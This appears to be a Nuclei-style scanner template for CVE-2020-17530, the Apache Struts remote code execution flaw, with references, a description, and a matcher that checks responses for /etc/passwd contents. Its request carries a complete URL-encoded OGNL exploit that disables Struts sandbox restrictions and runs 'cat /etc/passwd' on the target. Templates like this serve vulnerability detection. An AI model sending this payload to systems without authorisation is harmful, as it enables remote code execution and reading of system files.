2021-01-27 18:47:58 +00:00
id : CVE-2020-17530
info :
name : Apache Struts RCE
author : pikpikcu
severity : critical
2021-03-12 07:10:16 +00:00
reference : |
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- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
- http://jvn.jp/en/jp/JVN43969166/index.html
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://security.netapp.com/advisory/ntap-20210115-0005/
2021-02-22 07:01:32 +00:00
tags : cve,cve2020,apache,rce,struts
2021-03-11 14:23:41 +00:00
description : |
Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.
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requests :
- method : GET
path :
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0:"
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part : body
